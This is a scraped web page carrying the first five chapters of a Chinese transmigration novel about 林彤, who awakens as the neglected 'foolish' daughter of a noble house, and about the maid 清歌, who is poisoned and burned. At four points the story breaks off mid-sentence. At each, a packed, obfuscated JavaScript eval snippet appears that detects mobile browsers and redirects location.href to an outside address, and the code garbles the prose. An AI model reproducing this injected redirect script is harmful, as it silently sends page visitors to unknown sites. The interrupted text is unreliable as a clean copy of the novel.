《三台春》 1. 001 鹦鹉 宝香…… 林彤坐在窗边,无声地呼唤了着从早间便离开,到现在也没回来的丫鬟。 实在是饿得没法了,宝香这小丫头,说好了很快回来的,结果不知道到底跑哪儿去了。 林彤回头看了看自己身后的屋子,到现在还觉得自己犹自身处梦中。 穿越这种事情,对于一个严格的唯物主义者来说——至少她曾经是——实在是太过离奇,却偏偏发生了,要知道,作为一个买了一辈子饮料也没中过再来一瓶、玩游戏脸也黑到非洲抽卡连张SR都抽不出的人来说,穿越的概率应该会更低一些,偏她就“中奖”了,平生就没什么好运气的她这么多天以来一直还都是懵着的,都说否极泰来,然而怎么看如今她还是一直“否”下去。 比如说,从一个成年人突然变成一个五六岁的小孩,醒来的时候身边只有一个十岁左右的小丫鬟服侍,她都来了小半个月了,也没其他人来看她。 比如说,以前看小说的时候别人要么直接接收原主的记忆,要么很快就能弄明白自己的处境,到了她这里,简直是一概不知——她倒是想弄清楚,可是唯一能探知的只有宝香,偏偏宝香虽然话痨可通常没一句是有用的,所以这么多天了,除了原主姓许之外什么都不知道,她连自己的排行都不清楚,毕竟有时候有人唤她三姑娘,有时候别人唤她九姑娘,又三又九的,林彤差点以为自己是在植入广告。 旁边的屋子里倒还是住着几个丫鬟,不过那几个丫鬟对她也是爱理不理的,就比如说眼下正从她眼前走过来的这两个丫鬟吧,好像一个叫翠羽一个叫碧心的,正提着食盒往这边走来,林彤想起宝香出门之前求过碧心若是自己中午回不来,便让碧心去帮自己把饭食拿回来——所以她们手上的食盒是给林彤的了? 肚子适时地叫了一声,林彤感觉有些丢脸,不敢再看着走近的那两人,然后她就眼睁睁地看着那两个丫鬟提着她的食盒……没有走向她,而是走到了隔壁的厢房。 过去之前还偏头看了林彤一眼,那个叫碧心的开口道:“奇怪了,她这半日就坐在这里一动不动是想干什么?” 翠羽摇头:“谁知道呢,反正她是个傻的。” 碧心有些不安:“我们这么做不会被发现吗?万一十一少爷知道了的话……” “她一个傻小姐又不会说出去,饿一顿谁会知道啊?”翠羽不以为意:“别理她了,清歌姐姐怕是饿了。” 檐下挂着鸟笼子,几只鹦鹉听得那两人说话,顿时闹腾起来了,此起彼伏的重复着“傻小姐”“傻小姐”…… 哦对了,好像在她没来到之前,这身体便是出了名的傻子,所以被关在这个远离人世的偏院里,所以除了身边的丫鬟,她其他人都没怎么见过。 就连名义上是她丫鬟的碧心、翠羽,还有她们口中的“清歌”,虽然都是她的丫鬟,然而平日里做事的,只有宝香一个,她刚开始过来的时候,不知道自己到底处在什么位置,打算装傻充愣混过一段时日,结果发现根本不用装,因为所有人都知道“她”是个傻的,除了宝香其他人毫不避忌地当着她的面嘲弄她,毕竟她一个傻子又听不懂……听懂了也没处告状……告状了也没人会理。 这么多年里,要不是还有宝香这么一个忠仆,这原身只怕早就死在这后院也无人察觉吧。 然而眼下林彤没工夫同情自己身子的原主,因为她自己眼下只怕是要饿死了。 偏宝香还没回来。 那几只鹦鹉还在阴阳怪气地重复喊着“傻小姐”,间或低下头啄食——连只鸟儿都有吃的——林彤有些不忿了,她不敢惹那几个虽然看着十几岁但是比现在的她年纪大力气大的丫鬟,难道还理论不过几只鹦鹉吗?这些鹦鹉也不知是谁教出来的,只会说骂她的话,她得给它们掰正回来。 但是在下边训话似乎有些不够气势,林彤觉得至少要跟鹦鹉平视才有效果,搬了张圆凳走出去,爬上凳子之后才发现自己还是太矮了些,又搭了张小凳子,才堪堪与鹦鹉对视。 那几只鹦鹉还在不停地“挑衅”她,邵琰想起宝香今日离开之前正在清理院中的枯叶,那一把小扫帚放在了阶前的花木下——宝香不做事,其他人就更不做了,那么那把小扫帚应该还在原地。 拿到了趁手的“武器”,林彤再度爬到凳子上,武器在手,底气也足了些,林彤晃了晃那只叫得最凶的鹦鹉的笼子,刚想清清嗓子开口,那只鹦鹉似乎是被晃动的笼子吓了一下,那笼子虽然只有二尺高,宽度却是比林彤的肩膀还要宽,被她这么一动手,笼中的鸟儿扑腾了几下翅膀,等笼子安定下来了,便又落下来站定,那鸟儿仿佛颇通人性一般居高临下地打量着林彤,沉默了一小会,便再度“开骂”起来。 不止它骂,还要带动它的同伴跟着一起骂。 虽然它们词汇匮乏,来来去去只有“傻小姐”三字——可能是因为其他丫鬟每日都要说这几个字,这几只鹦鹉好的不学学坏的,偏就记住了——作为被骂的人,林彤观感一点都不好。 虽然眼前只有几只鹦鹉,但的确是让林彤感受到了众口铄金的感觉。 后知后觉的想起来了,自己如今的行为也是足够幼稚的,大概是被人说傻说多了,真的被传染了傻气吧。 将小扫帚扔掉,林彤正打算从凳子上下来,爬上来的时候不觉得,但如今要下来了才发现这个差不多有自己一半还高的凳子委实是太高了些,加之下边又是圆凳,没有什么可以扶着的东西,想下来便有些胆怯。 那只鹦鹉还在骂,似乎语言攻势还不够,开始自己撞着笼子,笼子摇摇晃晃,眼看着便要往林彤面门上撞来。 林彤直觉地要躲开,却忘记了自己此时正站在高处——几天没人打理,笼子上落了些灰,鹦鹉扇动翅膀,便将那些灰扇起,气味并不怎么好闻……林彤闭眼不及,眼里便进了东西,连忙伸手去揉眼睛—— “你在做什么?” 突然听到有人在说话,声音稚嫩,分不清男女,林彤有些错愕,然后便感觉自己脚下的凳子似乎有些歪斜,自己的身子便失去了支撑向身前倒下。 完了……她身前是栏杆,撞上去只怕会撞着腰……撞不上栏杆也不好,她眼下所处的地方距离院子的平地高了三尺,这么摔下去虽然可能摔不死,但是肯定不会好过。 林彤心中哀号了一番,也只能认命。 闭上眼睛,以为自己必摔无疑,孰料却落到了一个柔软的物事上。 一个约莫七八岁的小男孩正垫在自己身下,眼睛黑亮地看着她,林彤脸红了一瞬,下一刻小男孩似乎想起了什么,连忙将她扶起来,仔细查看她身上:“妹妹你伤着了吗?” “妹妹”? 林彤眼睛闪了闪,看样子眼前这人似乎是原主的亲人,自己来了这么多天之后第一次遇见除了丫鬟之外的人,林彤不敢随便开口,怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142863|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露了陷。 小男孩似乎对于她的沉默不以为意,掏出帕子将她脸上的污迹擦干净,这才拉她起来牵着她回屋里去。 林彤脸又红了,自己现在这模样得多糗啊。 不过……林彤偷眼看了一下对方,这似乎是除了宝香以外,第一个对自己没有半分不耐烦神情的人。 “宝香呢?” 小男孩进去看了一圈,随口问道,林彤还没来得及回答,他已经径自回话:“算了,我问你这些作甚?” “宝香真的不在?”他找了一通,没发现人影,喃喃道:“去了哪儿呢?” 他为难地站在林彤面前,想问什么似乎又不好问,正尴尬的时候,林彤的肚子叫了一声……林彤觉得更尴尬了。 小男孩看了林彤一眼:“妹妹可曾用过什么东西?” 虽然尴尬,不过林彤摇了摇头。 小男孩惊异地看了林彤一眼,试探着问:“你听得懂我在说什么?” 林彤很想翻个白眼——她要是连人话都听不懂她干脆不要做人了。 然而她不敢,她怕自己一开口就暴露了什么。 小男孩起身便要出去,林彤吓了一跳,也不知道怎么的,下意识地抓住了他的手。 他回头看了林彤一眼,面色柔和:“妹妹别怕,我出去叫人给你送些吃食过来。” 林彤默然地松开手,小男孩还是想找宝香,然而宝香不在,他十分不情愿地到隔壁敲了下门。 “谁啊——” 那个叫翠羽的丫头声音非常有特点,林彤每次听到都发怵,听着她有些不耐烦的声音响起,身子不由得缩了一下。 “十一……十一少爷?” 翠羽的声音难得的低了一度,随即变得有些谄媚:“十一少爷什么时候回来的?” 原来这个小男孩就是之前碧心还有宝香口中的“十一少爷”啊…… 林彤有些失神,虽然这些日子她见的人不多,唯一能接触的便是宝香,宝香是个话痨的性子,特别心疼她没人理,整日价念叨着“十一少爷回来就好了”,眼下这个一直活在别人嘴上的人突然出现在她面前……林彤除了心虚还是心虚。 听说这个人是原主的亲哥哥,同父同母的那种。 不是她刻意强调同父同母,因为她似乎还有个弟弟以及一个妹妹,同父异母的那种。 不过那两个小的,她也没见过就是了。 正怔忪间,那边已经开了门,许十一的声音微微发冷,带着一丝倨傲:“你们谁去帮妹妹把饭食拿回来——” 林彤叹口气,她的饭食……在隔壁啊。 “我记得那个食盒……应该是妹妹的,”许十一在外边突然声音扬起:“我不在的日子里,你们便是这样对妹妹的?” 他说罢便气冲冲地回来拉了林彤便要往外走,林彤不明所以,任由他拉着,许十一眼眶发红:“当初他们要把那几个丫鬟放妹妹房中,我便有些不放心,眼下果然是应验了的……平日我在家中,时常过来她们倒不敢做什么,如今我不过出门一个月,她们就敢如此轻侮妹妹!” 他说着便抱着林彤哭了:“我进来时,还当妹妹在玩乐呢,如今想来,妹妹竟被她们折磨成这般……要沦落到跟鹦鹉抢食的地步!” 林彤愣了愣——等等!哥哥啊,你到底是误会了什么啊! 她再饿也不会真沦落到跟鹦鹉抢食的地步啊! 2. 002 刁奴 “少爷?”宝香的声音在外边响起:“少爷你可算是回来了!” “宝香?”许十一面色愠怒:“你去哪儿了?” 宝香顿时有些讪讪,连忙解释道:“少爷恕罪!奴婢原本是守着小姐的,只是今日家中有事,本以为中午能赶回来的,不过后来遇见了叶总管家的……被叫过去问了问清歌姐姐的情形,奴婢平日里只照看小姐,哪里会知道清歌姐姐到底如何了,但她们不听,叫奴婢帮清歌姐姐带些东西进来……这才耽搁了。” 许十一看了看宝香手上捧着的东西:“都是清歌的?” 宝香点头,许十一更怒了:“又是她,这次又是整的什么幺蛾子?” 宝香默然不敢答,许十一继续道:“到底妹妹是主子还是她是主子!占着个大丫鬟的位置身为下人却不肯好好服侍!不肯好好服侍便也罢了,仗着自己是叶家的孙女,连妹妹的丫鬟都敢支使,真当自己是副小姐了不成?” “是谁惹我们家十一生气了?” 外边又有声音响起,林彤眨了眨眼睛,突然有些紧张——这来的人又是谁? 还不待她反应过来,人已经进来了,许十一行礼道:“祖母。” 林彤望过去,见四个年纪约在十六七岁穿着齐整的丫鬟扶着一个头发花白约莫六十岁左右的老妇人进来,看着许十一:“到底是你们兄妹情深,一回府便说要来看你妹妹,我刚想说等我一道,一转眼便不见了人影。” “听闻阿曈前些日子落了水,”老妇人看了林彤一眼,转向宝香:“如今可好些了?” 宝香连忙上前:“回老夫人,这几日比前些日子好些了。” 老夫人点了点头,让许十一扶自己坐下,打量了碧心与翠羽半晌,才慢悠悠地道:“宝香你是个尽心的,只是年纪毕竟还是太小了,镇不住这些个心大的,你母亲一走开,这院里便没个能主事的人,总归不是办法。” 林彤低头,宝香之所以尽心,是因为宝香的母亲是原主的奶娘,夫家姓白,本姓朱,人称朱妈妈,最近又生了个小子,宝香今日回去,便是因为如此——作为原主的奶娘,他们一家都是与原主联系在一起的,原主若是出了事,他们一家都讨不了好。 “素音,”老夫人边说着边唤过身后的丫鬟,叫素音的那丫鬟闻言站出,老夫人打量了她半晌:“从今往后你就在阿曈屋里服侍着,与宝香一般,领大丫鬟的份例,这两年里好好将宝香带出来。” 素音连忙应了,恭谨地立在一旁。 “素音,你如今既然是这院中的大丫鬟,该有的体统也该立起来了,往后也要更尽心尽力些——”老夫人眼帘低垂:“我这孙女虽然……但哪怕咱许家一辈子养着她,也断然轮不到一个下人来侮辱的,你若是服侍好了,我会记着你的好的。” 许曈明显听到她话里的停顿转折,心中轻轻一叹——这身子的原主啊…… “我不过离开了一月,便出了这样的事情,”老夫人神情冷冽:“而今我回来了,自然是要清理门户的,有些人就合该敲打敲打,否则眼睛儿不知长到了哪里,尊卑不分无法无天!” 说着便让其他丫鬟扶着她起身。 林彤愣了愣,见许十一跟着过去了,直觉要出事,也想过去,被宝香拦下了:“小姐还没大好,再加之没用午膳,先坐一会吧,奴婢去厨间给小姐重新拿一份回来。” 林彤哪里肯,宝香刚走出去,她便也要过去,素音拦了一会没拦住,只好扶着她去了隔壁。 林彤以前一直都只是听到隔壁很是热闹,如今真过来了,才发现这边何止是热闹,简直是吵闹。 一个跟素音她们差不多年纪的女子披头散发,身上的衣物也是凌乱的,隐约可见里边宝红色的亵衣,许十一虽然年少,但毕竟是少年,脸上一红,连忙退出来了,刚好遇见林彤,便拉着林彤不肯让她也进去。 林彤只好站在门外查看里边的情形。 那个女子,应该就是他们口中的“清歌”了。 清歌被两个年纪比她稍小的丫鬟拉着,还有两个更小的丫鬟在一旁手足无措,连老夫人他们进去了也顾不上行礼。 清歌此刻口中说着胡话,手劲儿似乎也挺大,那两个丫鬟压制不住,连忙喊那两个小丫鬟:“还不过来帮忙!” 林彤过来有半个月,虽然见不到几个人,但是还是从旁人的言语里,大致知道一些清歌的情况的。 清歌本姓叶,宝香口中叶总管的女儿,虽是许家家生子,但其父辈、祖辈都是许家的管家,除了奴籍的身份无法摆脱以外,平日里也是和千金小姐一般养大,按说这样的人本没必要进府里来服侍人的,可叶家总管的位置站得不稳,被人攻讦说想要与主子平起平坐,叶家无法,为了表示自己忠心便将清歌送进府中,到了许家几乎相当于是隐形人的许家九小姐院中服侍。 许十一说她当自己是副小姐,其实也没差,虽说是丫鬟,平日里也没人敢支使她做事,又因为她父亲是总管的原因,其他丫鬟也上赶着去讨好她,说是进来服侍人的,清歌更像是进来享福的,毕竟即使在叶家她自己有个小丫鬟,但也没那么多人可供她驱使——加之原主情形特殊,就导致了她在这院中比原主更像主子,比如说如今她跟林彤同时病了,除了宝香之外,其他人都紧着去照顾清歌、反倒把林彤丢在一边了。 那两个小丫鬟被喊了一声,如梦初醒,连忙过去帮忙拉扯牵制清歌。 饶是这样,还是压制不住。 老夫人却是生气了,跟着她的三个丫鬟扶着她坐下,为首的丫鬟上前:“放肆!都没看到老夫人在这里、无法无天了这是!” 那几人被吓了一跳:“素言姐姐!”随即松开了手,朝着老夫人跪下,“老夫人恕罪!” 她们这一松手,清歌却得了自由,口中咿咿呀呀不知道在念叨着什么,似乎看出了老夫人比较重要,眼看着就要扑向老夫人。 “清歌你——”素言连忙拦下她,却被她一头撞倒,另外两个丫鬟也赶紧上前,一个扶住素言,一个想拦下清歌免得她冲撞了老夫人。 老夫人并没有避让,拍着桌子起身:“简直是胡闹!” “素月你不必挡着,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“阿曈再不成器,也是我嫡亲的孙女儿,这身份在那里,她是主子,平日里你家那丫头不尽心服侍便罢了,还把自个儿当什么了,其他的丫鬟都放下阿曈转去服侍你孙女去了——到底谁才是主子?这也便罢了,先前我虽知道,不过看在你过世的公公和祖父都服侍过先公爷和先国公爷的面子上,便当做不知道好了——”老夫人眯起眼睛:“不过这次却是忍无可忍的,我带着十一出门几天,回来便听说自己的孙女出了这种事,说到底,你孙女作为阿曈身边的大丫鬟,服侍不到便是错的,眼下还在这里装神弄鬼想要害我,这次却是说什么都不能就这么算了的……你们是打量着我和十一不在府中,便想要害死阿曈好让你孙女可以尽早回家是不是?我好好一个孙女儿,被你们折磨得人不像人,你们是不是打定了主意要把阿曈逼死?阿曈再不济,也是你们的主子,她再糊涂,也是我孙女、是侯府正正经经的嫡出小姐,谁敢欺负到她头上?” “我就说一句吧,”老夫人扫视了一下屋内的人:“好在阿曈这次没大碍,万一我回来时听说的是阿曈被几个刁奴蹉磨去了……这院里的人,不拘是谁,都是得不了好的。” “至于罪魁祸首……”老夫人看着清歌一眼:“管她是谁的孙女女儿,我是要她偿命的。” 3. 003 惩戒 邢嬷嬷连忙磕头:“是老奴教养无方,请老夫人责罚!” “你我自然是要罚的,”老夫人低敛了眉眼:“你进来之后,只顾着跟十一还有我行礼,阿曈就站在一旁,你也没有看到她,我算是明白为何你孙女敢如此对阿曈了,原来是上行下效,怪道人家都说叶家心大了——” “不敢不敢!”邢嬷嬷继续磕头:“老奴一家万万不敢有这样的心思!请老夫人明察!” “罢了,你一家好歹也是这府中的老人,你昔日在我跟前也服侍过,我还愿意给你留三分面子,你将你孙女领回家去,从今往后不许她再入府,至于你——你儿子生出这样的女儿,看来是不适合总管的位置的,着他让贤去马房看马吧,你与你儿媳……罚半年的例银,”老夫人斜眼看着邢嬷嬷:“你可服气?你也别怪我严苛,教出这样的孙女来,实在是太不像样了些,要不是因着你我旧日的情分,这样的刁奴,直接杖毙也不为过。” “谢老夫人开恩!谢老夫人开恩!”邢嬷嬷连忙磕头,老夫人再度让她起身,她这才起来了,过去拉住清歌:“还不快谢谢老夫人——” 她说着便扯下了清歌嘴上的布团,清歌嘴巴甫一得自由,便立刻又怪叫起来,老夫人面色明显更阴沉了,邢嬷嬷也是神色惊惶,将她嘴巴再度堵上,叫外边跟来的婆子将清歌架走,连连告罪。 老夫人摆摆手,扶着额头,似乎有些困倦:“去吧。” 等邢嬷嬷带着人走了之后,老夫人才看向其他丫鬟:“都报上名来。” 几个丫鬟一一报上名来,除了先前的碧心、翠羽之外,那两个小丫鬟分别叫燕儿、珠儿,与宝香差不多大,老夫人眼睛看过去,她们便身子抖如筛糠状,一个劲儿地求饶。 老夫人打量看她们好半天,这才开口:“我且问你们,这院子里,谁才是主子?” “是……是三小姐……”翠羽战战兢兢地开口,显然是想起来平日里要说欺负原主的多是她,是因为她想透过讨好清歌来讨好叶家,如今清歌走了,老夫人下一个大概便要清算她了。 “原来你们还记得谁是主子啊,”老夫人冷笑:“看你们平日将那丫鬟捧着当主子,我还怀疑这府邸什么时候改姓叶了呢!” “老夫人恕罪!”翠羽连连磕头:“奴婢知错了,再也不敢了!” “罢了,刚从寺里回来,也不好沾染太多孽,”老夫人叹了口气:“清歌的下场你们也看到了,要知道你们其他人可没有清歌那份体面,若是谁敢再犯——”她看了一眼众人,声调微微上扬,“要么直接打死要么一家人都发卖出去,你们自己选。” “奴婢知错了!”四人连连磕头,只能重复着道:“以后再不敢了。” “罢了,阿曈刚好一些了,打卖什么的也容易冲撞着,便先留着你们吧。”傅老夫人把素音唤过来:“素音往后你多看着些,若是以后再有这样的事——再有人敢不敬阿曈,素音你直接来告诉我,管她是谁家的闺女,她自己不守本分不要体面,就不要怪主子不给面子!” 素音连忙应了:“是——” 素言笑着宽慰老夫人道:“老夫人把自己身边的人给了九小姐,这下可以宽心了吧,依我说,老夫人这么多孙儿孙女里边,最疼的便是九小姐了,就连十一少爷还有三爷那边的几个少爷小姐,都没九小姐这体面。” 老夫人叹气,让素月与素雪扶自己起来:“阿曈再怎么着……总归是我孙女儿,我那儿子儿媳……我总不能也不管。” 她说着看向林彤,神色虽然比对着那些丫鬟的时候缓和了许多,林彤却是被她看得冒出了冷汗。 林彤见她要出去了,沉默了一瞬,也跟着许十一送她出去,老夫人却并没有走,和宝香问了问这个月里林彤的饮食起居,又敲打了翠羽她们一番,最后才是对着许十一道:“阿曈她这个样子,我如今尚且还能护着,可若是哪天我去了……你们父母那里怕是指望不上了,唯一能指望的只能是你了……不管怎样,她是你至亲的妹妹,往后无论如何,你还得多照看她一番。” 许十一连忙道:“祖母快别说这样的话,我是兄长,当然应该护着妹妹,再说了,祖母定能长命百岁,有祖母在,谁敢欺负妹妹啊。” “我在……也没什么用,毕竟我也老了,”老夫人长叹一声,似乎又觉得自己不该在小辈面前说这样的话,连忙笑道:“是啊,我要活成个老妖怪,护着你们,看谁不长眼敢欺侮你们。” “祖母你也累了,让素言她们扶你回去歇一歇吧,”许十一看了林彤一眼:“一个月没见到妹妹了,我再陪妹妹说会话。” 送走了老夫人,许十一复又回来,坐在林彤对面,转向宝香:“宝香,妹妹到底出了什么事?你平日里怎么看着她的,怎么会落水?” 宝香有些为难:“是十四——” “许晢?”许十一叹气:“这些日子有谁都来看过妹妹?许晢来过吗?父亲来过吗?母亲呢?其他姐妹们呢?姨娘她们可有来过?” 宝香只是抿嘴不答,许十一摆摆手表示自己知道了,又唤过翠羽等人:“我这次不过是出门一月,回来便看到妹妹身边连个服侍的人都没有,可知你们是有多疲懒,想来往常日我在府中时常过来,你们还肯做出点样子,平日里我也被你们瞒过去了,外边的鹦鹉什么都不会说只会那几个字……可知你们平日都怎么嚼的舌根子……我一不在,你们就一个二个都现了原形,你们心里什么打算我不管,我最后只说一遍——若是再让我知道你们谁怠慢了妹妹,也不用惊动祖母,我第一个便不会饶过她!你们都给我长点心,我就这么一个妹妹,她要是再少了一根头发……你们自己掂量掂量。” 翠羽颇有些不服气:“十小姐和十一小姐……” “翠羽是吗?”许十一叹气:“你今日便家去吧,不必再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然都是穿越者,虽然国籍可能不太一样,语言也有差别,但似乎也可以算是“老乡”?既然能遇到同类,林彤哪里肯放过。 许十一看似让着她,这事情却好像并没有转圜的余地,见林彤坚持,他叹了口气,唤过一旁的翠羽:“给你个将功赎罪的机会,你去看看她如今如何了回来之后报给妹妹听。” 又对林彤道:“妹妹身子还没有大好,这事情便不要亲自去了,免得冲撞了什么,素音你和宝香要好生服侍,可不能再出乱子。” 众人连忙应了,林彤不放心翠羽,让宝香也跟着过去,许十一本想反驳,但是他身边的丫鬟来寻,他只好回去了。 碧心有些不忿:“这十一少爷也真是的……左不过就是个傻子而已,也值得——” “啪!” 林彤吓了一跳,见碧心捂着脸看着素音:“表姐!” 4. 004 失魂 原来是素音抬手便给了碧心一巴掌,林彤装作没反应,却偷偷关注那两人的情形,只见素音面色严肃:“跟九小姐道歉——” “凭什么让我道歉?”碧心明显不服气:“我有说错什么吗?” 她嚷嚷道:“这京中,谁不知道许侯家三小姐是个傻子!” 林彤愣了愣,敢情这原主还是个名人呐。 “啪!” 又是一声好响,林彤眼观鼻鼻观心,反正她俩是亲戚,自己也不好插手,倒不如听听她们说什么,好了解一下自己的处境。 原来……自己真的是个傻子啊……林彤叹气,想起为什么先前老夫人一脸将她一辈子养着的表情了——样貌美丑还是其次,毕竟古代多是父母之命媒妁之言,是妍是媸有什么要紧,说白了样貌不够性格来凑,博个好名声也不怕,但是再怎么着,也闹不过这人是个傻子啊……还是个人尽皆知的傻子。 虽然不习惯丫鬟这类的存在,但是素音当着林彤的面就敢教训人,林彤也还是有些不开心,素音虽然奉了老夫人的命来服侍她,但是想来心里也还是跟大多数人一样,对林彤有些不以为然的,当着林彤的面就敢如此,到底还是不太把她放在眼里。 “表姐!”碧心满脸不敢置信:“你居然打我——我回去告诉姑妈去!”看样子她们的确是亲戚没错了……不过就算是亲戚,也不该在她面前打人吧这素音,表面看似温温柔柔的,倒是没看出原是这样的人。 “你叫我一声表姐我才打你,到这时候了还不长记性!你以为你为什么能逃过一劫?你做的那些事,别打量着没人知道!”素音指着碧心:“你以为老夫人为何偏偏就让我过来九小姐这里?老夫人院子里有头有脸的丫鬟多的是,为何偏偏指了我?表面上说着好听,是关心九小姐,其实还不是故意在敲打我等?我在老夫人房中待得好好的,若不是为你这破事,你以为我就愿意到这屋里来?老夫人先前的话你都没放在心上是吧,你自己猖狂不要紧,可别连累了舅舅他们,都是家生子,咱们两家可比不得叶家,要真出了事,老夫人可不会再怜恤的。” 碧心捂着脸叫道:“你是怕你自己被牵连吧!” “是!”素音倒是干脆:“要换了别人我也懒得理会,但是你是我表妹我才说你——九小姐虽然脑子不太好使,但是无论如何,她都是主子,那位份在那里,是越不过去的,八爷这边虽然没有爵位,但是他到底是老夫人最宠的儿子,宫里的娘娘又极为看护他——老夫人还在,这侯府就绝对不会分家,就算分了家,我们的身契估计也是在这边的……我知道你什么心思,你是看三爷那边那几个少爷小姐渐渐大了,心思活络了,想要攀高枝儿,觉得九小姐这情形,在她跟前服侍没有出头的日子,但是我告诉你——无论是想当姨娘也好想做陪嫁丫鬟也罢,许家总不可能容着一个欺主的丫鬟得脸,你若是心存那些念头,还不如好好服侍九小姐,哪怕九小姐一辈子都这样呢,有十一少爷在,十一少爷是八爷嫡长子,他日这一房定是由他承继的,他又极为照顾九小姐,你若是将九小姐照顾好了,他定会承你的情——你和十一少爷的年纪摆在那里,你当然不可能攀附十一少爷做姨娘,但是至少不会随便给你拉个小厮——我言尽于此,你若是再不懂事,我就先回了姑妈让她领你家去,免得让你在府里闹事儿继续祸害了各家亲戚!” 她一通长篇大论下来,林彤听得一愣一愣的,却也明白了自己原本的处境——原来之前原主真的是个傻子啊,这样也好,这样的话她哪怕是迟钝一点,应该也不至于被人怀疑了。还有就是碧心看起来也才十几岁的样子最多不过是上中学的年纪……就起了那样的心思……早熟的古代人林彤有些无法理解,不过好在碧心看上的人应该不是比她还要小的许十一,这样一想,又心宽了许多。 话说起来,今日她一天里得到的讯息,比之前跟着宝香的半个月得到的还多。 碧心被素音说得满脸通红,虽然嘴上还逞强,但是明显是把素音的话听进去了,不过林彤可不认为她从今往后就会对自己忠心——眯起眼睛,素音这个人,很厉害,看得太透太清醒,这样的人能用,但是不能大用,如果她面上做得好的话,其实倒也无所谓。只是林彤弄不懂素音这个人,这人太通透,如果自己突然“好”了,不傻了,会不会被素音看出什么端倪呢?看样子,她还是得再小心些,可千万别露陷了。 有素音在的确是好多了,一通指挥下来,许多宝香做不到的事情都做得很好,毕竟年长几岁有经验就是不一样,看着四周窗明几净,林彤心情总算是好了些,如今只等着宝香她们回来,问清楚清歌的情况了。 过了许久她二人才回来了,翠羽脸色十分难看,宝香看着也有些魂不守舍的样子。 林彤感觉不安:“怎么了?” “小姐……”宝香欲言又止:“清歌姐姐她……听说是中邪了……叶总管家的领她家去之后,她还是满口胡话……然后他们……他们……” “他们怎么了?”林彤心内有不好的预感,但是非要听到最后的结果才敢下定论。 “他们……”翠羽接过话:“他们……把清歌姐姐药死了……还说……要烧掉她……否则怕会给府里带来祸端……”说着脸色发白,似乎是想到了自己,有些物伤其类的感觉吧? 林彤的心咯噔了一下——清歌就这么……死了?她还没来得及跟清歌通通气呢,怎么就这么没了? 在这陌生的地方,好不容易能遇见一个同类,连个互相认识的机会都不给,转眼之间已经是死生相隔。 这些天里,林彤也想过回去的问题,可是终究是不得章法,如果死掉了能回去那也没什么,可是谁知道死了之后是不是真的回到了原来的时代,若是死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在没摸清楚这许家到底是什么情况之前,林彤觉得,自己还是继续装傻吧,至少要保证自己不会被人当做妖怪给烧掉了。 其他的,要循环渐进,徐徐图之。现在最主要的,还是扮演好自己的傻子身份。 她想回家,可她不知道自己还能不能回去怎么回去——不管怎么着,眼下活下去,才是最要紧的,活着才能考虑后续的事情。 她有一个祖母,她亲眼见到她的祖母间接杀害了一个穿越者,而对于自己,自己这身子虽然是老夫人的亲孙女,但是难保自己身份泄露的时候,不会被自己的祖母“大义灭亲”——鬼神之说,向来不是小事。 她怕死,她已经死过一次了,如果再死一次能回去,那倒无所谓,可是如果死了便是死了呢?她胆子小,她不敢拿自己的命来赌。 5. 005 许昤 “宝香——” 林彤瞪着书本,看了半天,虽然看得懂上边的字,可是毕竟不熟练使用,看久了,难免有些眼睛酸疼。 宝香会意地给她到了茶水,稍稍醒了醒神。 林彤一回头,便见着宝香一脸的欣慰,只好又低头。 虽然说了装傻,可装傻这事毕竟不好做,林彤没办法做到,只能好好演个老老实实安安分分的人,尽量少说话以免被人怀疑, 饶是这样,林彤也还是有些胆战心惊。 幸好许十一对于她突然“开窍”这事乐见其成,她“才”刚会说话,他就恨不得自己的妹妹成了个“才女”,从回来的第二日起便拿了本开蒙的书过来说要教她认字,林彤想想要她一辈子这么装傻做文盲她也不愿,倒是装模作样地跟着许十一认认真真的学了—— 学的最早的两个字便是自己的名字——“许曈”。 之前听老夫人唤她“阿曈”,她还以为原主跟自己原名是一个字呢,原来并不是——她知道,她必须尽快适应自己的新名字新身份,绝不能露馅——否则的话,等待她的,或许是和清歌一样的结局——所以,往后她便是许曈了,至于林彤……只能尘封起来了,她可不想重蹈清歌的覆辙。 虽然刻意藏拙,但一来二去的,她还是记住了不少字,许曈还有些担心许十一却是乐不可支,如今每日从家塾回来都要到许曈院中教她认字。 有他在,院中其他人无论是惧于老夫人的余威还是怕了许十一,总之没人再敢怠慢了。 眼下还早,许旻——许曈刚得知许十一的名是一个旻字——而今还在家塾中,暂且还没没回来,许曈觉得闷了,看着宝香问她:“你要不要回去看看朱妈妈?” 宝香小小年纪,放在现代正该是在学校的年纪,如今却早早的出来服侍人,虽然自己年纪比宝香还要小平日也不让宝香做什么重活,但许曈还是有种自己在欺负童工的感觉,想着如今自己好了许多,也该让宝香回去看看她的亲人。 “不用,”宝香笑了笑:“奴婢要好好照顾小姐呢,娘上次还说,小姐病刚好了些,可时时离不得,再说了,家中还有玉香呢,她也能帮着母亲照看着些,小姐不必担心。” 